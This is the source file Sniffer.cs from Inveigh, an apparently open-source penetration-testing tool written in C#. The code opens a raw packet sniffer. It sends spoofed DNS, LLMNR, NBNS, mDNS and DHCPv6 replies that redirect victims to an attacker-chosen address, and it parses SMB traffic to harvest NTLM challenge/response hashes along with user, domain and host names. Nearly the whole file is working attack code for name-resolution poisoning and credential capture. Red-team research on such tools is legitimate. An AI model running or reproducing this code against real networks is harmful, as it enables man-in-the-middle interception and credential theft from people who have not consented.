aboutsummaryrefslogtreecommitdiff
path: root/Inveigh/Sniffer/Sniffer.cs
blob: 36106cf9a66e5494dea1333f74f557b177ac33bb (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
using System;
using System.Net;
using System.Net.Sockets;
using System.IO;
using Quiddity.LLMNR;
using Quiddity.Support;
using Quiddity.UDP;
using Quiddity.NetBIOS;
using Quiddity.MDNS;
using Quiddity.DNS;
using Quiddity.SMB;
using Quiddity.TCP;
using Quiddity.IP;
using Quiddity.SMB2;
using Quiddity.NTLM;
using Quiddity.DHCPv6;
using System.Threading;
using System.Text;

namespace Inveigh
{
    class Sniffer
    {
        public static void Start(string protocol, string snifferIP, bool isIPV6)
        {
            byte[] snifferIn = new byte[4] { 1, 0, 0, 0 };
            byte[] snifferOut = new byte[4] { 1, 0, 0, 0 };
            byte[] snifferData = new byte[0];
            byte[] snifferBuffer = new byte[1500];
            Socket snifferSocket;
            IPEndPoint snifferIPEndPoint;
            EndPoint snifferEndPoint;
            AddressFamily addressFamily = AddressFamily.InterNetwork;

            if (isIPV6)
            {
                snifferEndPoint = new IPEndPoint(IPAddress.IPv6Any, 0);
                addressFamily = AddressFamily.InterNetworkV6;
            }
            else
            {
                snifferEndPoint = new IPEndPoint(IPAddress.Any, 0);
            }

            try
            {
                
                if (!isIPV6)
                {
                    snifferSocket = new Socket(addressFamily, SocketType.Raw, ProtocolType.IP);
                    snifferSocket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, true);
                }
                else
                {

                    if (String.Equals(protocol, "UDP"))
                    {
                        snifferSocket = new Socket(addressFamily, SocketType.Raw, ProtocolType.Udp);
                    }
                    else
                    {
                        snifferSocket = new Socket(addressFamily, SocketType.Raw, ProtocolType.IP);
                        snifferSocket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.PacketInformation, true);
                    }

                }

                snifferIPEndPoint = new IPEndPoint(IPAddress.Parse(snifferIP), 0);
                snifferSocket.ReceiveBufferSize = 4096;
                snifferSocket.Bind(snifferIPEndPoint);
                snifferSocket.IOControl(IOControlCode.ReceiveAll, snifferIn, snifferOut);
            }
            catch (Exception ex)
            {

                if (ex.Message.Equals("An attempt was made to access a socket in a way forbidden by its access permissions"))
                {
                    Output.Queue(String.Format("[!] Error starting packet sniffer, check if shell has elevated privilege or set -Sniffer N for listener only mode.", Output.Timestamp()));
                    Thread.Sleep(10);
                    Program.isRunning = false;
                }
                else
                {
                    Console.WriteLine(ex.Message);
                }

                throw;
            }         
            
            int packetLength;

            while (Program.isRunning)
            {

                try
                {
                    IPPacketInformation packetInformation = new IPPacketInformation();
                    SocketFlags socketFlags = SocketFlags.None;

                    try
                    {                     
                        packetLength = snifferSocket.ReceiveMessageFrom(snifferBuffer, 0, snifferBuffer.Length, ref socketFlags, ref snifferEndPoint, out packetInformation);
                        snifferData = new byte[packetLength];
                        Buffer.BlockCopy(snifferBuffer, 0, snifferData, 0, packetLength);
                    }
                    catch
                    {
                        packetLength = 0;
                    }

                    if (packetLength > 0)
                    {
                        IPHeader ipHeader = new IPHeader();
                        MemoryStream memoryStream = new MemoryStream(snifferData, 0, packetLength);
                        BinaryReader binaryReader = new BinaryReader(memoryStream);
                        IPAddress sourceIPAddress;
                        int protocolNumber;
                        string sourceIP = "";
                        string destinationIP = "";
                        int ipHeaderLength = 0; // no header for IPv6

                        if (!isIPV6)
                        {                         
                            ipHeader.ReadBytes(snifferData, 0);
                            ipHeaderLength = ipHeader.IHL;
                            byte versionHL = binaryReader.ReadByte();
                            protocolNumber = ipHeader.Protocol;
                            sourceIP = ipHeader.SourceAddress.ToString();
                            destinationIP = ipHeader.DestinationAddress.ToString();
                        }
                        else
                        {
                            sourceIPAddress = (snifferEndPoint as IPEndPoint).Address;
                            sourceIP = sourceIPAddress.ToString();
                            destinationIP = packetInformation.Address.ToString();

                            if (String.Equals(protocol, "UDP"))
                            {
                                protocolNumber = 17;
                            }
                            else
                            {
                                protocolNumber = 6; // this doesn't keep UDP traffic out of TCP section
                            }

                        }                     

                        switch (protocolNumber)
                        {
                            case 6:
                                TCPHeader tcpHeader = new TCPHeader();
                                bool isTCP = true; // IPv6 workaround

                                try
                                {
                                    tcpHeader.ReadBytes(snifferData, ipHeaderLength);

                                    if (tcpHeader.SYN && !tcpHeader.ACK && snifferIP.Equals(destinationIP))
                                    {
                                        Output.Queue(String.Format("[.] [{0}] TCP({1}) SYN packet from {2}:{3}", Output.Timestamp(), tcpHeader.DestinationPort, sourceIP, tcpHeader.SourcePort));
                                    }

                                }
                                catch
                                {
                                    isTCP = false;
                                }

                                string tcpDestinationPort = tcpHeader.DestinationPort.ToString();
                                string tcpSourcePort = tcpHeader.SourcePort.ToString();

                                if (tcpHeader.DataOffset >= 20 && isTCP)
                                {
                                    byte[] tcpPayload = new byte[0];

                                    try
                                    {
                                        tcpPayload = new byte[packetLength - tcpHeader.DataOffset - ipHeaderLength];
                                    }
                                    catch
                                    {
                                        isTCP = false;
                                    }

                                    if (tcpPayload.Length > 0 && isTCP)
                                    {

                                        Buffer.BlockCopy(snifferData, ipHeaderLength + tcpHeader.DataOffset, tcpPayload, 0, tcpPayload.Length);

                                        switch (tcpHeader.DestinationPort)
                                        {
                                            case 139:
                                                ProcessSMB(tcpPayload, sourceIP, destinationIP, tcpSourcePort, tcpDestinationPort);
                                                break;

                                            case 445:
                                                ProcessSMB(tcpPayload, sourceIP, destinationIP, tcpSourcePort, tcpDestinationPort);
                                                break;
                                        }

                                        switch (tcpHeader.SourcePort)
                                        {
                                            case 139:
                                                ProcessSMB(tcpPayload, sourceIP, destinationIP, tcpSourcePort, tcpDestinationPort);
                                                break;

                                            case 445:
                                                ProcessSMB(tcpPayload, sourceIP, destinationIP, tcpSourcePort, tcpDestinationPort);
                                                break;
                                        }

                                    }
                                }

                                break;

                            case 17:
                                UDPHeader udpHeader = new UDPHeader(snifferData, ipHeaderLength);
                                byte[] udpPayload = new byte[udpHeader.Length - 8];
                                Buffer.BlockCopy(snifferData, ipHeaderLength + 8, udpPayload, 0, udpPayload.Length);

                                switch (udpHeader.DestinationPort)
                                {

                                    case 53:
                                        {

                                            if (snifferIP.StartsWith(destinationIP))
                                            {
                                                ProcessDNSRequest(udpPayload, sourceIP, udpHeader.SourcePort, snifferIP, 53);
                                            }

                                        }
                                        break;

                                    case 137:
                                        {

                                            if (!isIPV6)
                                            {
                                                ProcessNBNSRequest(udpPayload, sourceIP, udpHeader.SourcePort, snifferIP, 5355);
                                            }

                                        }
                                        break;

                                    case 547:
                                        {

                                            if (isIPV6)
                                            {
                                                ProcessDHCPv6Request(udpPayload, sourceIP, udpHeader.SourcePort, snifferIP, 547);
                                            }

                                        }
                                        break;

                                    case 5353:
                                        {
                                            ProcessMDNSRequest(udpPayload, sourceIP, udpHeader.SourcePort, snifferIP, 5353);
                                        }
                                        break;

                                    case 5355:
                                        {
                                            ProcessLLMNRRequest(udpPayload, sourceIP, udpHeader.SourcePort, snifferIP, 5355);
                                        }
                                        break;

                                }
                                break;
                        }

                    }

                }
                catch (Exception ex)
                {
                    Output.Queue(String.Format("[-] [{0}] Packet sniffing error detected - {1}", Output.Timestamp(), ex.ToString()));
                }

            }

        }

        internal static void ProcessDNSRequest(byte[] data, string clientIP, int clientPort, string sourceIP, int sourcePort)
        {

            DNSPacket packet = new DNSPacket(data)
            {
                Host = Program.argDNSHost,
                TTL = uint.Parse(Program.argDNSTTL)
            };

            DNSListener listener = new DNSListener(UInt32.Parse(Program.argDNSTTL));

            if(!packet.Header.IsDynamicUpdateRequest())
            {
                if (packet.Header.IsQuery())
                {

                    if (listener.Check(packet.Question.Name, packet.Question.Type, clientIP, out string message))
                    {
                        byte[] buffer = packet.GetBytes(UInt32.Parse(Program.argDNSTTL), Program.dnsSerial, Program.argSpooferIP, Program.argSpooferIPv6);

                        if (!Utilities.ArrayIsNullOrEmpty(buffer))
                        {
                            UDPSocket.SendTo(clientIP, clientPort, sourceIP, sourcePort, buffer, false);
                        }

                    }

                    Output.SpooferOutput("DNS", packet.Question.Type, packet.Question.Name, clientIP, message);
                }

            }
            else
            {
                byte[] flags = new byte[2] { 0xa8, 0x05 };
                byte[] dnsPayload = new byte[data.Length - 2];
                System.Buffer.BlockCopy(data, 2, dnsPayload, 0, dnsPayload.Length);
                MemoryStream dnsMemoryStream = new MemoryStream();
                dnsMemoryStream.Write(data, 0, data.Length);
                dnsMemoryStream.Position = 2;
                dnsMemoryStream.Write(flags, 0, 2);
                UDPSocket.SendTo(clientIP, clientPort, sourceIP, sourcePort, dnsMemoryStream.ToArray(), false);

            }


        }

        internal static void ProcessLLMNRRequest(byte[] data, string clientIP, int clientPort, string sourceIP, int sourcePort)
        {
            LLMNRPacket packet = new LLMNRPacket(data);
            LLMNRListener listener = new LLMNRListener();

            if (packet.Header.IsQuery())
            {

                if (listener.Check(packet.Question.Name, packet.Question.Type, clientIP, out string message))
                {
                    byte[] buffer = packet.GetBytes(UInt32.Parse(Program.argLLMNRTTL), Program.argSpooferIP, Program.argSpooferIPv6);

                    if (!Utilities.ArrayIsNullOrEmpty(buffer))
                    {
                        UDPSocket.SendTo(clientIP, clientPort, sourceIP, sourcePort, buffer, false);
                    }

                }

                Output.SpooferOutput("LLMNR", packet.Question.Type, packet.Question.Name, clientIP, message);
            }

        }

        internal static void ProcessNBNSRequest(byte[] data, string clientIP, int clientPort, string sourceIP, int sourcePort)
        {
            NetBIOSNSPacket packet = new NetBIOSNSPacket(data);
            NBNSListener listener = new NBNSListener();

            if (packet.Header.IsQuery())
            {

                if (listener.Check(packet.Question.Name, packet.Question.Type, clientIP, out string message))
                {
                    byte[] buffer = packet.GetBytes(UInt32.Parse(Program.argNBNSTTL), Program.argSpooferIP);

                    if (!Utilities.ArrayIsNullOrEmpty(buffer))
                    {
                        UDPSocket.SendTo(clientIP, clientPort, sourceIP, sourcePort, buffer, false);
                    }

                }

                Output.SpooferOutput("NBNS", packet.Question.Type, packet.Question.Name, clientIP, message);
            }

        }

        internal static void ProcessMDNSRequest(byte[] data, string clientIP, int clientPort, string sourceIP, int sourcePort)
        {
            MDNSPacket packet = new MDNSPacket(data);
            MDNSListener listener = new MDNSListener();
            string destinationIP = clientIP;

            if (packet.Header.IsQuery())
            {

                if (listener.Check(packet.Question.Name, packet.Question.QuestionType, packet.Question.Type, clientIP, out string message))
                {

                    if (packet.Question.QuestionType.Equals("QM") && !Program.enabledMDNSUnicast && string.Equals(IPAddress.Parse(clientIP).AddressFamily.ToString(), "InterNetwork"))
                    {
                        destinationIP = "224.0.0.251";
                    }
                    else if (packet.Question.QuestionType.Equals("QM") && !Program.enabledMDNSUnicast && string.Equals(IPAddress.Parse(clientIP).AddressFamily.ToString(), "InterNetworkV6"))
                    {
                        destinationIP = "ff02::fb";
                    }

                    byte[] buffer = packet.GetBytes(uint.Parse(Program.argMDNSTTL), Program.argSpooferIP, Program.argSpooferIPv6);

                    if (!Utilities.ArrayIsNullOrEmpty(buffer))
                    {
                        UDPSocket.SendTo(destinationIP, clientPort, sourceIP, sourcePort, buffer, false);
                    }

                }

                string type = string.Concat(packet.Question.QuestionType, ")(", packet.Question.Type);
                Output.SpooferOutput("mDNS", type, packet.Question.Name, clientIP, message);
            }

        }

        internal static void ProcessDHCPv6Request(byte[] data, string clientIP, int clientPort, string sourceIP, int sourcePort)
        {
            DHCPv6Packet packet = new DHCPv6Packet(data);
            DHCPv6Listener listener = new DHCPv6Listener();

            if (packet.Message?.MsgType == 1 || packet.Message?.MsgType == 3 || packet.Message?.MsgType == 5)
            {
                bool isMicrosoft = false;

                if (packet.Option16?.EnterpriseNumber == 311)
                {
                    isMicrosoft = true;
                }

                byte msgType = 0;
                string leaseIP = "";

                switch (packet.Message.MsgType)
                {

                    case 1:
                        msgType = 2;
                        break;

                    case 3:
                        {                 
                            byte[] renewIP = new DHCPv6Option5(packet.Option3.IANAOptions).IPv6Address;
                            leaseIP = new IPAddress(renewIP).ToString();
                            msgType = 7;
                        }
                        break;

                    case 5:
                        {
                            byte[] renewIP = new DHCPv6Option5(packet.Option3.IANAOptions).IPv6Address;
                            leaseIP = new IPAddress(renewIP).ToString();
                            msgType = 7;
                        }
                        break;
                }

                DHCPv6DUIDLL duid = new DHCPv6DUIDLL(packet.Option1.DUID);
                byte[] clientMACData = new DHCPv6DUIDLL(packet.Option1.DUID).LinkLayerAddress;

                if (duid.DUIDType == 1)
                {
                    clientMACData = new DHCPv6DUIDLLT(packet.Option1.DUID).LinkLayerAddress;
                }
                
                string clientMAC = BitConverter.ToString(clientMACData).Replace("-", ":");
                string clientHostName = "";

                if (!String.IsNullOrEmpty(packet.Option39?.DomainName))
                {
                    clientHostName = packet.Option39.DomainName;
                }

                if (listener.Check(clientMAC, clientHostName, Program.argMAC, isMicrosoft, out string message))
                {

                    if (msgType == 2)
                    {
                        leaseIP = "fe80::" + Program.dhcpv6Random + ":" + Program.dhcpv6IPIndex;
                        Program.dhcpv6IPIndex++;
                    }

                    byte[] buffer = new DHCPv6Packet().GetBytes(msgType, leaseIP, Program.argMAC, Program.argSpooferIPv6, Program.argDNSSuffix, uint.Parse(Program.argDHCPv6TTL), packet);
                    
                    if (!Utilities.ArrayIsNullOrEmpty(buffer))
                    {
                        UDPSocket.SendTo(clientIP, clientPort, sourceIP, sourcePort, buffer, false);
                    }
                }

                Output.DHCPv6Output(packet.Message.MsgType, leaseIP, clientIP, clientMAC, clientHostName, message);
            }

        }

        internal static void ProcessSMB(byte[] data, string clientIP, string listenerIP, string clientPort, string listenerPort)
        {

            if (data.Length >= 4)
            {
                NetBIOSSessionService requestNetBIOSSessionService = new NetBIOSSessionService(data);
                SMBHeader smbHeader = new SMBHeader();
                SMB2Header smb2Header = new SMB2Header();
                int sessionServiceIndex = 0;

                if (requestNetBIOSSessionService.Type == 0)
                {
                    sessionServiceIndex = 4;
                }

                SMBHelper helper = new SMBHelper(data, sessionServiceIndex);
                string session;
                string challenge;

                if (helper.Protocol[0] == 0xff)
                {
                    smbHeader.ReadBytes(data, sessionServiceIndex);
                    string flags = Convert.ToString(smbHeader.Flags, 2).PadLeft(8, '0');

                    switch (smbHeader.Command)
                    {
                        case 0x72:
                            {
                                
                                if (String.Equals(flags.Substring(0, 1), "0"))
                                {
                                    Output.Queue(String.Format("[.] [{0}] SMB1({1}) negotiation request detected from {2}:{3}", Output.Timestamp(), listenerPort, clientIP, clientPort));
                                }

                            }

                            break;

                        case 0x73:
                            {
                                
                                if (String.Equals(flags.Substring(0, 1), "1"))
                                {
                                    SMBCOMSessionSetupAndXResponse smbCOMSessionSetupAndXResponse = new SMBCOMSessionSetupAndXResponse(data, 32 + sessionServiceIndex);

                                    if (smbCOMSessionSetupAndXResponse.SecurityBlobLength > 0)
                                    {

                                        if (!BitConverter.ToString(smbCOMSessionSetupAndXResponse.SecurityBlob).Contains("2A-86-48-86-F7-12-01-02-02")) // kerberos
                                        {
                                            NTLMHelper ntlmHelper = new NTLMHelper(smbCOMSessionSetupAndXResponse.SecurityBlob);

                                            if (ntlmHelper.Signature.StartsWith("NTLMSSP"))
                                            {

                                                if (ntlmHelper.MessageType == 2)
                                                {
                                                    NTLMChallenge ntlmChallenge = new NTLMChallenge(smbCOMSessionSetupAndXResponse.SecurityBlob);
                                                    session = String.Concat(listenerIP, ":", listenerPort);
                                                    challenge = BitConverter.ToString(ntlmChallenge.ServerChallenge).Replace("-", "");
                                                    Program.smbSessionTable[session] = challenge;
                                                    Output.Queue(string.Format("[+] [{0}] SMB({1}) NTLM challenge [{2}] sent to {3}:{4}", Output.Timestamp(), clientPort, challenge, clientIP, listenerPort));
                                                }

                                            }

                                        }
                                        else
                                        {
                                            Output.Queue(string.Format("[.] [{0}] SMB({1}) Kerberos authentication from {2}:{3}", Output.Timestamp(), clientPort, clientIP, listenerPort));
                                        }

                                    }

                                }
                                else
                                {
                                    SMBCOMSessionSetupAndXRequest smbCOMSessionSetupAndXRequest = new SMBCOMSessionSetupAndXRequest(data, 32 + sessionServiceIndex);

                                    if (smbCOMSessionSetupAndXRequest.SecurityBlobLength > 0)
                                    {

                                        if (!BitConverter.ToString(smbCOMSessionSetupAndXRequest.SecurityBlob).Contains("2A-86-48-86-F7-12-01-02-02")) // kerberos
                                        {
                                            NTLMHelper ntlmHelper = new NTLMHelper(smbCOMSessionSetupAndXRequest.SecurityBlob);

                                            if (ntlmHelper.Signature.StartsWith("NTLMSSP"))
                                            {

                                                if (ntlmHelper.MessageType == 3)
                                                {
                                                    NTLMResponse ntlmResponse = new NTLMResponse(smbCOMSessionSetupAndXRequest.SecurityBlob);
                                                    session = String.Concat(clientIP, ":", clientPort);
                                                    challenge = Program.smbSessionTable[session]?.ToString();
                                                    string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName);
                                                    string user = Encoding.Unicode.GetString(ntlmResponse.UserName);
                                                    string host = Encoding.Unicode.GetString(ntlmResponse.Workstation);
                                                    string response = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-", "");
                                                    string lmResponse = BitConverter.ToString(ntlmResponse.LmChallengeResponse).Replace("-", "");
                                                    Output.NTLMOutput(user, domain, challenge, response, clientIP, host, "SMB", listenerPort, clientPort, lmResponse);
                                                }

                                            }

                                        }

                                    }

                                }

                            }
                            break;

                    }

                }
                else if (helper.Protocol[0] == 0xfe)
                {
                    smb2Header.ReadBytes(data, sessionServiceIndex);
                    string flags = Convert.ToString(BitConverter.ToUInt16(smb2Header.Flags, 0), 2).PadLeft(smb2Header.Flags.Length * 8, '0');

                    switch (smb2Header.Command)
                    {

                        case 0:
                            {
                                
                                if (String.Equals(flags.Substring(31, 1), "0"))
                                {
                                    Output.Queue(String.Format("[.] [{0}] SMB2+({1}) negotiation request detected from {2}:{3}", Output.Timestamp(), listenerPort, clientIP, clientPort));
                                }

                            }
                        break;

                        case 1:
                            {
                            
                                if (String.Equals(flags.Substring(31, 1), "1"))
                                {
                                    SMB2SessionSetupResponse smb2SessionSetupResponse = new SMB2SessionSetupResponse(data, 64 + sessionServiceIndex);

                                    if (smb2SessionSetupResponse.SecurityBufferLength > 0)
                                    {

                                        if (!BitConverter.ToString(smb2SessionSetupResponse.Buffer).Contains("2A-86-48-86-F7-12-01-02-02")) // kerberos
                                        {
                                            NTLMHelper ntlmHelper = new NTLMHelper(smb2SessionSetupResponse.Buffer);

                                            if (ntlmHelper.Signature.StartsWith("NTLMSSP"))
                                            {

                                                if (ntlmHelper.MessageType == 2)
                                                {
                                                    NTLMChallenge ntlmChallenge = new NTLMChallenge(smb2SessionSetupResponse.Buffer);
                                                    session = BitConverter.ToString(smb2Header.SessionId).Replace("-", "");
                                                    challenge = BitConverter.ToString(ntlmChallenge.ServerChallenge).Replace("-", "");
                                                    Program.smbSessionTable[session] = challenge;
                                                    Output.Queue(String.Format("[+] [{0}] SMB({1}) NTLM challenge [{2}] sent to {3}:{4}", Output.Timestamp(), clientPort, challenge, clientIP, listenerPort));
                                                }

                                            }

                                        }
                                        else
                                        {
                                            Output.Queue(string.Format("[.] [{0}] SMB({1}) Kerberos authentication from {2}:{3}", Output.Timestamp(), clientPort, clientIP, listenerPort));
                                        }

                                    }
                                }
                                else
                                {
                                    SMB2SessionSetupRequest smb2SessionSetupRequest = new SMB2SessionSetupRequest(data, 64 + sessionServiceIndex);

                                    if (smb2SessionSetupRequest.SecurityBufferLength > 0)
                                    {

                                        if (!BitConverter.ToString(smb2SessionSetupRequest.Buffer).Contains("2A-86-48-86-F7-12-01-02-02")) // kerberos
                                        {
                                            NTLMHelper ntlmHelper = new NTLMHelper(smb2SessionSetupRequest.Buffer);

                                            if (ntlmHelper.Signature.StartsWith("NTLMSSP"))
                                            {

                                                if (ntlmHelper.MessageType == 3)
                                                {
                                                    NTLMResponse ntlmResponse = new NTLMResponse(smb2SessionSetupRequest.Buffer);
                                                    session = BitConverter.ToString(smb2Header.SessionId).Replace("-", "");
                                                    challenge = Program.smbSessionTable[session]?.ToString();
                                                    string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName);
                                                    string user = Encoding.Unicode.GetString(ntlmResponse.UserName);
                                                    string host = Encoding.Unicode.GetString(ntlmResponse.Workstation);
                                                    string response = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-", "");
                                                    string lmResponse = BitConverter.ToString(ntlmResponse.LmChallengeResponse).Replace("-", "");
                                                    Output.NTLMOutput(user, domain, challenge, response, clientIP, host, "SMB", listenerPort, clientPort, lmResponse);
                                                }

                                            }

                                        }

                                    }

                                }
                            }
                        break;
                    }

                }

            }

        }

    }

}